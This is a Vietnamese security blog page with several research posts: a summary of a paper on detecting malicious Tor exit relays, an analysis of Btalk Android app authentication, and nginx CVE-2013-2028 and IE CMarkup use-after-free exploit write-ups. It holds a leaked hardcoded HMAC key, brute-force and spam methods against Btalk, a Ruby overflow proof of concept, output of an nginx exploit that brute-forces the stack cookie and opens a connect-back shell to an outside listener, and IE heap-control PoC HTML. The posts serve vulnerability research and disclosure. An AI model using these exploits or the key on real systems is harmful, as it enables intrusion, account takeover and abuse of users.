Tor – Xác định các exit relay độc hại

August 14, 2014 by tienpp · Leave a Comment 

1. Mở đầu
Bài viết này là phần mô tả sơ lược và bình luận bài báo “Spoiled Onions: Exposing Malicious Tor Exit Relays”[1].
Tor exit relay là nút cuối dùng trong hành trình vận chuyển của các gói tin trọng mạng Tor, gói tin từ đây sẽ đi đến địa chỉ thực sự cần đến. Nó được vận hành bởi các người dùng tình nguyện trọng mạng và có thể nói tổng lưu lượng qua các exit relay này khá lớn (cỡ 1GB/s). Theo thiết kế, thì các người dùng ở các exit relay này có thể quan sát và thay đổi nội dung của các dữ liệu trong mạng.

Trong bài báo này, tác giả đề xuất các phương pháp để nhận ra các exit relay nào đang chơi bẩn và ghi lại những hành động của chúng. Họ xây dựng hai khung chương trình để phát hiện hoạt động bất thường của các exit relay. Một để chủ động phát hiện các hành động như thay đổi nội dung dữ liệu (Man in the middle), một là phần thụ động, để điều tra các exit relay sử dụng phương thức nghe lén (traffic sniff) để ăn cắp dữ liệu. Các giải pháp của tác giả được hiện thực chú trọng đến tính nhanh và hiệu quả trong quá trình quét các exit relay.

2. Khái quát hoạt động của mạng Tor

Hình trên là mô hình 3 nút của mạng Tor, dữ liệu từ một tor client bất kì bắt đầu hành trình trong mạng thì nó sẽ đi qua:

  1. Nút đầu (Entry guard): Đây này là nút đầu tiên trong hành trình của dữ liệu trong mạng.
  2. Nút giữa (Middle relay): là các nút trung chuyển dữ liệu trong mạng.
  3. Nút thoát (Exit relay): nút cuối hành trình của dữ liệu trọng mạng, đây là nút bắt cầu mà từ đây dữ liệu sẽ ra khỏi mạng mã hóa của Tor và đi đến đích nằm trong phần còn lại của thế giới – Internet. Dữ liệu – nếu có thể- sẽ bị nghe lén hoặc thay đổi ở nút này.

3. Giám sát các Tor exit relay:
Như đã nói ở trên, tác giả đã xây dựng hai khung chương trình nhằm giám sát các exit relay trong toàn bộ mạng Tor. Phần này chúng ta sẽ lần lượt đi qua quá trình thực hiện hai khung chương trình đó. Ngoài ra, tác giả có công bố mã nguồn của chúng ở đây[3].

3.1 exitmap:
Đây là khung chương trình thứ nhất tác giả hiện thực, nó sẽ giám sát chủ động các exit relay trong việc thay đổi nội dụng dữ liệu của người dùng trong mạng.

Thiết kế:

exitmap chạy trên một máy đơn lẻ, được xây dựng dựa vào thư viện python Stem – một thư viện hiện thực các giao thức Tor. Tác giả dùng Stem để khởi tạo và đóng các kết nối vào mạng. Bên cạnh đó cần một Tor client đang chạy để lấy các thông tin về các nút để biết đâu là các exit relay đang trực tuyến.

Hoạt động:

  1. Đầu tiên, exitmap lấy toàn bộ các exit relay từ Tor client đang chạy. Thực hiện chọn ra một exit relay ngẫu nhiên để kiểm tra.
  2. Khởi tạo một vòng (circuit) dữ liệu trong mạng Tor với exit relay là nút được lấy ngẫu nhiên từ 1.
  3. Giao tiếp với Tor client để vận chuyển dữ liệu.

Nâng cao hiệu năng của thiết kế:
Với mô hình và hoạt động của hệ thống ở trên, dữ liệu từ exitmap vào mạng Tor và đi lòng vòng qua rất nhiều nút khác rồi mới đến exit relay chọn sẵn, nên hiệu năng không cao. Trong khi mục đích của việc kiểm tra này hoàn toàn không đòi hỏi tính ẩn danh của Tor mang lại, nên tác giả đã cải tiến thêm hệ thống như sau.

Thay vì chạy lòng vòng trong mạng dẫn đến ảnh hưởng hiệu năng của việc kiểm tra, tác giả đề xuất mô hình: dữ liệu chỉ chạy qua một nút cố định rồi đi ngay đến exit relay.

Phần quét:
Dựa vào exitmap được xây dựng như trên, tác giả viết thêm các phần kiểm tra cho các giao thức như HTTPs, XMPP, IMAPs, SSH, phát hiện sslstrip và phân giải DNS giả tạo.
Các phần quét kiểm tra dựa trên các giao thức HTTPs, XMPP, IMAPs và SSH: đều được thực hiện thông qua việc kiểm tra chứng chỉ hợp lệ trả về khi dữ liệu đi qua mạng Tor. Một exit relay thực hiện MitM sẽ khiến cho chứng chỉ trả về không đúng như ý và từ đó phát hiện được hành vi MitM của exit relay đó.
Hình dưới tác giả cung cấp một đoạn mã giả mô tả phần đã nói ở trên:

Sslstrip: Thay vì cố gắng quan sát dữ liệu đã được bảo vệ với kết nối TLS, kẻ tấn công sẽ cố gắng chuyển các đường dẫn từ https về http, từ đó dữ liệu được chuyển dưới dạng hoàn toàn minh bạch, và kẻ tấn công dễ dàng lấy cắp các dữ liệu chúng muốn. Để phát hiện việc “downgraded” này, phần quét sslstrip cố gắng phát hiện trong dữ liệu HTML các đường dẫn bị thay đổi từ HTTPS thành HTTP.

Phân giải DNS giả mạo: Địa chỉ DNS cũng có thể được các client gửi đến exit relay để phân giải, việc này dẫn đến phía exit relay có thể giả mạo việc phân giải đó. Một mặt, các exit relay trong quá khứ có thể bị thiết lập sai khi dùng các DNS bị cản lọc – ví dụ như ở một số ISP ở Trung Quốc, Việt Nam, và một số nước châu âu. exitmap cũng sẽ phát hiện các phân giải DNS giả tạo này.

3.2 HoneyConnector:
Khung chương trình này được xây dựng để phát hiện thụ động một vài exit relay đang cố gắng quan sát dữ liệu (sniffing) của người dùng Tor. Việc quan sát các dữ liệu này hầu hết là trên các giao thức không được mã hóa như là FTP, IMAP.

Mô hình:

Khung chương trình này hoạt động như sau:
Từ Tor client liên tục gửi đi các yêu cầu login đến “Destination Server” là các FTP/IMAP server với các thông tin đăng nhập user/pass được tạo sẵn, đồng thời gửi các thông tin đó đến server đích.
Các thông tin đăng nhập trên được lưu trong database, bao gồm đã được gửi qua exit relay nào. Trong thời gian theo dõi (hàng tháng), nếu một thông tin đăng nhập nào đó được dùng để đăng nhập vào các FTP/IMAP server trên thì sẽ bị lưu lại và đối chiếu với thông tin trong cơ sở dữ liệu, tìm ra được exit relay nào đã tiến hành lấy cắp dữ liệu.

Phần còn lại của bài báo là các thông tin rút ra được từ kết quả kiểm tra của tác giả trong nhiều tháng liền. Trong phần đúc kết thông tin này, có nhiều thông tin rất thú vị, ví dụ như về một số nhóm chuyên đi lợi dụng các exit relay để sniffing, chèn thêm mã độc vào trang html, … Hình dưới liệt kê 40 exit relay mà tác giả đã kiểm tra được có hành vi nguy hiểm:

C:\A31D5665\347F1D4E-A7C2-4647-96EF-468158E00942_files\image006.png

Và các exit relay đã nghe lén để ăn cắp thông tin (đăng nhập) của người dùng Tor:

C:\A31D5665\347F1D4E-A7C2-4647-96EF-468158E00942_files\image007.png

Các bạn đọc thêm ở tài liệu trong phần 4, các phần phân tích kết quả còn lại.

Phần còn lại trong bài báo là các phát triển thêm của tác giả cho trình duyệt Tor browser, để có thể phòng ngừa nếu một exit relay nào đó đang MitM, mà không hiểu gì về trang cảnh báo của trình duyệt. Thay vì để trình duyệt hiện cảnh báo thì Tor sẽ tự xác minh và từ bỏ ngay exit relay đang MitM đó. Các bạn đọc thêm trong phần 6 của bài báo.

4. Tổng kết
Vậy dùng tor có an toàn không? Dù rằng bài báo đã cho thấy rằng có khả năng bị tấn công khi sử dụng Tor, tuy nhiên các tấn công này hoàn toàn là phòng ngừa được nếu như người dùng tôn trọng các nguyên tắc bảo mật (trong trường hợp bị MitM), và không dùng các giao thức cũ để đăng nhập (FTP/IMAP) để có thể dễ dàng bị đánh cắp dữ liệu.
Gần đây cũng có một nghiên cứu về Tor nữa, nhưng đã bị hủy bỏ trước khi trình bày ở hội nghị Blackhat USA. Nghiên cứu này về vấn đề nặc danh của Tor. [2]
Quay lại với bài báo, có cách nào có thể qua mặt được các kiểm tra như bài báo đã làm hay không. Và có cách nào để có thể ứng dụng vào Tor để phát hiện ngay tức thì các hành động gây hại ở exit relay và loại bỏ nó ra khỏi mạng. Mong các bạn thảo luận thêm :)

Tham khảo:

[1] https://petsymposium.org/2014/papers/Winter.pdf
[2] http://freedomhacker.net/tor-project-fixing-vulnerability-that-could-expose-users/
[3] http://www.cs.kau.se/philwint/spoiled_onions/

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Phân tích ứng dụng Btalk trên Android – Phần một: Cơ chế xác thực người dùng

May 6, 2014 by pdah · 22 Comments 

Lưu ý: các phân tích trong bài viết này được dựa trên phiên bản Btalk 1.0.6 tải về từ PlayStore. Các vấn đề được nêu trong bài viết này BKAV đã được gửi email thông báo từ trước.

(pdah – cb_ – k9)

Cơ chế đăng ký và kích hoạt

Quá trình xác thực trên điện thoại của Btalk  gồm 3 bước chính:

  1. Đăng ký tài khoản với Btalk:
    • Người dùng gửi thông tin về số điện thoại đang sử dụng cho máy chủ Btalk.
    • Btalk gửi tin nhắn kèm mã số xác thực đến số điện thoại người dùng.
  2. Xác nhận (kích hoạt) tài khoản:
    • Mã số xác thực được nhập và gửi lại Btalk
    • Btalk xác nhận đúng mã xác thực và gửi lại mật khẩu khởi tạo riêng cho mỗi phiên đăng ký.
  3. Đăng ký với hệ thống nhắn tin OpenSIPS
    • Mật khẩu kèm thông tin số điện thoại được gửi lại hệ thống OpenSIPS của Btalk
    • Btalk xác nhận đã nhận được thông tin

Bước 1 – Đăng ký tài khoản với Btalk:

Sau khi người dùng nhập số điện thoại, một HTTP GET Request được gửi từ ứng dụng Btalk đến API https://bmail.vn/service/preauth với các tham số sau:

domain       = bmail.vn
from         = bphone
reqType      = bphoneRegister
txtDomain    = bmail.vn
useServerSms = true
txtUser      = <số điện thoại kèm mã quốc gia>@bmail.vn
timestamp    = <timestamp>
preauth      = <hash>

Tham số preauth được sử dụng để “ký” các thông tin được thiết bị gửi đến máy chủ Btalk. Mục đích chính là để xác nhận thông tin được gửi từ một nguồn hợp lệ. Điều này được thể hiện qua việc API gửi về isTrustedDomain=false nếu chúng ta gửi giá trị ngẫu nhiên cho preauth.

Giá trị của preauth được xác định như sau:

preauth = HMAC_SHA1(key, domain + ’|’ + timestamp + ‘|’ + txtUser)

Nếu thông tin được ký đúng, API trả về một HTTP Response rỗng đồng thời hệ thống gửi một tin nhắn chứa mã số xác thực (gồm 4 ký số) đến số di động của người dùng. Nội dung của tin nhắn có dạng:

Your Btalk code is XXXX.

Bước 2 – Xác nhận tài khoản

Sau khi có mã số xác thực, ứng dụng Btalk tiếp tục gửi một HTTP GET Request đến https://bmail.vn/service/preauth với danh sách các tham số:

txtDomain   = bmail.vn
from        = bphone
reqType     = bphoneRegister
op          = verifyCode
txtDomain   = bmail.vn
txtUser     = <số điện thoại kèm mã quốc gia>@bmail.vn
timestamp   = <timestamp>
verifyCode  = <code>
preauth     = <hash>

Với preauth được xác định bằng:

preauth = HMAC_SHA1(key, timestamp + ’|’ + txtUser + ‘|’ + verifyCode)

Nếu Btalk gửi đúng mã xác nhận, API sẽ gửi về mật khẩu (gồm 8 ký tự). Trên lý thuyết, với số điện thoại và mật khẩu này, chúng ta có thể gửi và nhận tin nhắn thông qua máy chủ của Btalk. Tuy nhiên chúng ta không thể làm điều đó nếu chưa thực hiện bước tiếp theo.

Bước 3 – Đăng ký với hệ thống nhắn tin OpenSIPS

Ứng dụng Btalk gửi một HTTP POST Request đến dịch vụ OpenSIPS tại https://btalk.bkav.com:8443/OpenSipsServices/rest/sip/register

Với tham số:

username  = <số điện thoại kèm mã quốc gia>
password  = <mật khẩu>
timestamp = <timestamp>
preauth   = <hash>

Trong đó

preauth = HMAC_SHA1(key, timestamp + ’|’ + password + ‘|’ + username + ‘@bmail.vn’)

Sau bước này ứng dụng Btalk đã có thể đăng nhập vào hệ thống XMPP của Btalk đồng thời gửi, nhận tin nhắn.

Các vấn đề

Lộ key (khóa) của hàm băm mã hóa

Như chúng tôi mô tả ở trên, Btalk sử dụng HMAC-SHA1 để ký các HTTP requests gửi đi từ ứng dụng trên điện thoại. Về cơ bản HMAC-SHA1 giúp người sử dụng kiểm tra tính đồng nhất của dữ liệu, đồng thời chứng thực phía gửi dữ liệu thông qua tính bí mật của khóa key. Tuy nhiên giá trị của key được nhúng trong ứng dụng Btalk và chúng ta có thể tìm thấy nó dễ dàng:

Configuration.REGISTER_KEY = "41ab3e484f918ff0d378058e50eb0f79e93d19383ca1053830a878a83bcce3fc";

Điều này dẫn đến việc bất kỳ ai cũng có thể giả mạo ứng dụng Btalk để gửi HTTP requests đến máy chủ.

Spam tin nhắn xác thực đến số di động khác

Một hệ quả của vấn đề trên là chúng ta có thể spam số máy di động khác bằng cách liên tục giả lập bước một của cơ chế xác thực.

Lấy cắp thông tin đăng nhập thông qua vét cạn mã xác thực

Ở bước một và hai, mã xác thực chỉ có 4 ký số và không bị vô hiệu trong khoản thời gian nhất định, chúng ta có thể liên tục lặp lại bước hai với tối đa 10.000 khả năng khác nhau của mã xác thực cho đến khi nào nhận được mật khẩu.

Thời gian ước tính để thử chọn hết tất cả các khả năng (10.000 trường hợp) là khoảng 1 giờ đồng hồ. Giả sử nhà phát triển lựa chọn phương án vô hiệu hóa mã xác thực trong 5 phút, chúng ta sẽ có cơ hội thử chọn khoảng 830 trường hợp, đồng nghĩa với khoảng 8.3% cơ hội thành công. Đây vẫn là một con số không nhỏ.

SSL vẫn không an toàn

Mặc dù Btalk sử dụng SSL cho tất cả các bước xác thực người dùng, nhưng nhà phát triển cho phép ứng dụng chấp nhận tất cả các certificate mà nó nhận được bằng cách:

  • Định nghĩa lại lớp BkavSSLSocketFactory thay cho lớp SSLSocketFactory mặc định và bỏ hết tất cả các bước chứng thực certificate.
  • Bỏ qua việc kiểm tra hostname của certificate:
      KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
      keyStore.load(null, null);
      BkavSSLSocketFactory socketFactory = new BkavSSLSocketFactory(keyStore);
      (()SSLSocketFactory)socketFactory).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
    

Điều này cho phép hacker có thể thực hiện tấn công MITM và “nhìn lén” tất cả dữ liệu của người dùng.

Một vài điều thú vị khác

Giả lập gửi và nhận tin nhắn từ sau khi có được mật khẩu

Trên điện thoại (đã root) hoặc emulator:

Sau khi cài Btalk, điều chỉnh thông tin đăng nhập của ứng dụng tại /data/data/bkav.android.btalk/shared_prefs/bkav.android.btalk_preferences.xml với số điện thoại và mật khẩu lấy được.

...

<string name="bkav_pref_sipx_password">YYYYYYYY</string>
<string name="bkav_pref_sipx_username">84XXXXXXXXXXX</string>

...

Thông qua viết mã

Đoạn mã đơn giản sau giả lập việc gửi và nhận tin nhắn qua Btalk:

import xmpp
import time

username = '84xxxxxxxx'
passwd   = 'yyyyyyy'
to       = '84zzzzzzzzz@bmail.vn'
msg      = 'Hello from a script'

def message_callback(client, stanza):
    sender       = stanza.getFrom()
    message_type = stanza.getType()
    message      = stanza.getBody()

print "Received '%s' from '%s'" % (message, sender)

client = xmpp.Client('bmail.vn', debug=[])
client.connect(server=('chat.bkav.com',5222))
client.auth(username, passwd, 'bmail.vn')
client.RegisterHandler("message", message_callback)

client.sendInitPresence()
message = xmpp.Message(to, msg)
message.setAttr('type', 'chat')
print "Sending message ..."
client.send(message)

print "Waiting for message ..."
while client.isConnected():
    client.send(xmpp.Presence())
    client.Process()
    time.sleep(1)

Cái gì đây ?

Chúng tôi phát hiện một vài đoạn mã thú vị trong ứng dụng Btalk:

Cho dù BKAV đã thay đổi tên đăng nhập và/hoặc mật khẩu của dịch vụ liên quan ở phía máy chủ, việc để lọt những dòng mã như thế này lên Play Store cho thấy nhà phát triển chưa làm tốt khâu kiểm định mã nguồn trước khi xuất xưởng.

(còn tiếp)

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting nginx chunked overflow bug, the undisclosed attack vector (CVE-2013-2028)

July 17, 2013 by longld · 2 Comments 

In previous post, we analyzed and exploited stack based buffer overflow vulnerability in chunked encoding parsing of nginx-1.3.9 – 1.4.0. We mentioned that there was another attack vector which was more practical, more reliable. I talked about this attack vector at SECUINSIDE 2013 in July (btw, a great conference and CTF). Details can be found in slides.

In summary:

  • Same bug with different code paths that serve dynamic contents via fastcgi, proxy backend, etc. These configurations are more practical in real world environments.
  • Heap based overflow instead of stack based overflow as described in the original advisory. Nothing to worry about stack cookie (so no bruteforcing).
  • The trick to make heap overflow exploit more reliable is via connection spraying.
  • Some small tips and tricks for ROP and shellcode.

Enjoy hacking!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

May 21, 2013 by w00d · 1 Comment 

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we still explored several program paths and found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

The Bug

Based on the patch on nginx.org, there is a code path that leads to a stack based overflow vulnerability, related to 03 different nginx components:

1) The calculation of “chunked size” when someone send a http request with the header: “Transfer-Encoding: chunked”. It is calculated at src/http/ngx_http_parse.c:2011

if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
  break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
  break;
}

It simply parses the chunked size input as hex and convert it to base of 10. And since ctx->size is defined with size_t, an unsigned type, the value of the variable can be misinterpreted as negative number when casting to signed type, as we will see later.

2) Nginx module when serving static file:

When nginx is setup to serve static file (which is the default setting), ngx_http_static_handler in src/http/modules/ngx_http_static_module.c:49 will be executed when receiving a request.

ngx_http_static_handler will then call ngx_http_discard_request_body at src/http/modules/ngx_http_static_module.c:211.

ngx_http_discard_request_body will then call ngx_http_read_discarded_request_body at src/http/ngx_http_request_body.c:526.

In summary the code path: ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body

ngx_http_read_discarded_request_body is where it gets interesting, we can see a buffer with fixed size is defined at src/http/ngx_http_request_body.c:630 as follows:

static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];

NGX_HTTP_DISCARD_BUFFER_SIZE is defined as 4096 in src/http/ngx_http_request.h:19

The interesting is at how this buffer is filled at src/http/ngx_http_request_body.c:649 that we shall use later in (3)

size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);

3) The state transition when parsing http request

Come back to src/http/ngx_http_request_body.c, before calling ngx_http_read_discarded_request_body, nginx check whether we have a “chunked” type of request, it will then run ngx_http_discard_request_body_filter defined in src/http/ngx_http_request_body.c:680.

ngx_http_discard_request_body_filter will execute ngx_http_parse_chunked which is the code we mentioned in (1). After that, the return value in “rc” is checked with some constant to decide the next move. One of them is particularly very interesting.

if (rc == NGX_AGAIN) {
     /* set amount of data we want to see next time */
     r->headers_in.content_length_n = rb->chunked->length;
     break;
}

Suppose we can set rb->chunked->length as a very large number at (1), and then set rc = NGX_AGAIN at (3), following events will happen:

- r->headers_in.content_length_n is set to negative ( as it is defined with `off_t` which is “a signed integer” type.).

- The function ngx_http_discard_request_body_filter return and the program move to execute ngx_http_read_discarded_request_body. which contains our vulnerable buffer.

- Finally the recv() command is tricked to receive more than 4096 bytes and overflow the buffer on the stack.

There are many ways to set chunked->length, since rb->chunked->length is assigned at the end of ngx_http_parse_chunked function based on the rb->chunked->size that we have a direct control.

switch (state) {
case sw_chunk_start:
	ctx->length = 3 /* "0" LF LF */;
break;
	case sw_chunk_size:
ctx->length = 2 /* LF LF */
              + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

To make rc = NGX_AGAIN, we realize that for a request nginx makes the first recv with 1024 bytes, so if we send more than 1024 bytes ngx_http_parse_chunked will return with a NGX_AGAIN then when nginx tries to recv again it will be right into our setup.

The payload to overflow the stack buffer is as follows:

- Send http request with a “transfer-encoding: chunked”

- Send a large hexadecimal number to fill the entire 1024 bytes of the first read

- Send > 4096 bytes to overflow the buffer when it try to recv the second times

TL;DR ? Here is the proof of concept for x64

require 'ronin'
tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
    payload = ["GET / HTTP/1.1\r\n",
            "Host: 1337.vnsecurity.net\r\n",
            "Accept: */*\r\n",
            "Transfer-Encoding: chunked\r\n\r\n"].join
    payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
    payload << "A"*(4096+8) #padding
    payload << "C"*8 #cookie
    s.send(payload, 0)
}

strace output at the other end:

 strace -p 11337 -s 5000 2>&1 | grep recv
recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112

Exploitation on x64:

The problem of stack cookie/carnary can be overcome easily by brute-forcing byte by byte. If we send an extra byte and a worker process crashes, it will return nothing thus we know our cookie value is wrong, we try another value until we receive some output.

Then we need to bypass ASLR and DEP. The exploitation for 32-bit in the metasploit module won’t work, since it will bruteforce the libc address and it’s not feasible given the large address space in x64.

We give an exploit that only relies on the binary i.e. we build the ROP gadget from the binary. mprotect address is computed from mmap64 address (in the GOT-table) then use to allocate a writable-executable memory chunked. Then we use some ROP gadgets to copy our shellcode and have it executed by return to it finally.

TL;DR full exploit code could be find here

ruby exp-nginx.rb 1.2.3.4 4321
[+] searching for byte: 1
214
[+] searching for byte: 2
102
[+] searching for byte: 3
232
[+] searching for byte: 4
213
[+] searching for byte: 5
103
[+] searching for byte: 6
151
[+] searching for byte: 7
45
Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
1120 connections

At w.w.w.w

nc -lvvv 4000
Connection from 1.2.3.4 port 4000 [tcp/*] accepted
uname -a
Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
ps aux | grep nginx
ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process

Reliable exploitation

There are some reasons that the above exploitation/technique may not work in practice:

1) Nginx uses non-blocking recv(). If we can’t send enough data to overwrite the return address/cookie the exploit will fail. This is mostly the case since the normal server will be loaded with requests from different user.

2) Our analysis here is for the default setting of nginx, the code path can be very different with another setting thus making the exploit somewhat useless.

3) A blind attack is difficult without the knowledge of the binary / OS at the remote server. For 32-bit OS, one may further bruteforce the “write” address in the code space in order to leak information but It will still be unreliable due to the unknown sockfd and will fail for PIE.

Trying to make this more practical in real world environments, we actually found another attack vector which is more reliable and worked on several nginx settings. However, we will keep it for another post.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

CMarkup Use After Free Vulnerability – CVE-2012-4782

January 10, 2013 by suto · 14 Comments 

Latest M$ tuesday patch kill one of my 0day in Microsoft Internet Explorer 9/10. So I decided release Proof Of Concept code and writeup some analyze about this bug. Hope it helpful.

Here is the PoC:

<!doctype html>
<html>
        <head>
                <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
               <script>
                       function testcase(){
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement('table'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                            document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
                                document.getElementsByTagName('track').item(0).offsetWidth;

                                document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
                                document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

                </script>
        </head>
        <body onload='testcase();'>

        </body>
</html>

After running this html we’ve got a nice crash:
(fcc.354): Access violation - code c0000005 (!!! second chance !!!)
eax=0b7befc0 ebx=088cd6b8 ecx=0b6b2fa8 edx=00000006 esi=0b6b2fa8 edi=00000000
eip=639927e9 esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h] ds:0023:0b6b2fe8=0000
0:017> u
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h]
639927ed 6685c0 test ax,ax

Now using my binary instrumentation framework (a PIN based instrumentation which could do things like: crash analyze, taint tracing, code coverage..), I could get the following output


Exception Point: 639927e9 0fb74640 movzx eax,word ptr [esi+40h]
Current Register:
eax:0b7befc0
esi:0b6b2fa8
Backtrace analyze:
[+]639927e7 -> esi: 0b6b2fa8 | ecx: 0b6b2fa8
[+]639927e5 -> ecx: 0b6b2fa8
[+]636c1d2d -> ecx:0b6b2fa8
[+]639ae295 -> esi: 0b6b2fa8
===================
Detect Freed Address: 0b6b2fa8 at EIP 639AE299
With param: HeapFree(150000,23,0b6b2fa8)

So it is a pretty nice Used After Free vulnerability. But what is freed?

Run the tool again, this time to collect information about Heap Allocate, I can see:

.....
Detect Heap Allocate : 638f13dc
With Param: HeapAlloc(150000, 8u, 0x54)
Return value: 0b6b2fa8

And it occur in function:
CMarkup::InsertElementInternal
So now we can use a little trick to manipulate freed address:

<!doctype html>
<html>
	<head>
		<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />

		<script>

                function testcase(){

				var img = new Array();
				  for(var i = 0;i < 100;i++){
				  	img[i] = document.createElement('img');
				  	img[i]["src"] = "a";
				  }
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement('table'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
			    document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
				document.getElementsByTagName('track').item(0).offsetWidth;

				document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
				document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

				window.scroll(500);

				for(var j = 0;j < 99;j++){
				 	img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}

				 }

		</script>
	</head>
	<body onload='testcase();'>

	</body>
</html>

And we’ve got:

(c10.d88): Access violation - code c0000005 (!!! second chance !!!)
eax=00000041 ebx=088cd6b8 ecx=00410041 edx=ff000000 esi=0c53efa8 edi=00000000
eip=639927ff esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CTreeNode::GetFancyFormat+0x1e:
639927ff 8b4a2c mov ecx,dword ptr [edx+2Ch] ds:0023:ff00002c=????????
0:017> dd esi
0c53efa8 00410041 00410041 00410041 00410041
0c53efb8 00410041 00410041 00410041 00410041
0c53efc8 00410041 00410041 00410041 00410041
0c53efd8 00410041 00410041 00410041 00410041
0c53efe8 00410041 00410041 00410041 00410041
0c53eff8 00410041 d0d00000 ???????? ????????
0c53f008 ???????? ???????? ???????? ????????
0c53f018 ???????? ???????? ???????? ????????
0:017> dd 410041
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c
0:017> u

Why it crashing here:

.text:639927E9 movzx eax, word ptr [esi+40h]
.text:639927ED test ax, ax
.text:639927F0 js loc_63842DAE
.text:639927F6 mov ecx, [esi+50h]
.text:639927F9 mov edx, [ecx+80h]
.text:639927FF mov ecx, [edx+2Ch]

Since we can control esi, we can force program to jump 63842DAE by changing some bytes in img.src:

..
img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}
....


(614.fd4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00410041 edx=b341be78 esi=088ccc00 edi=0c540fa8
eip=6383a61a esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0xa1:
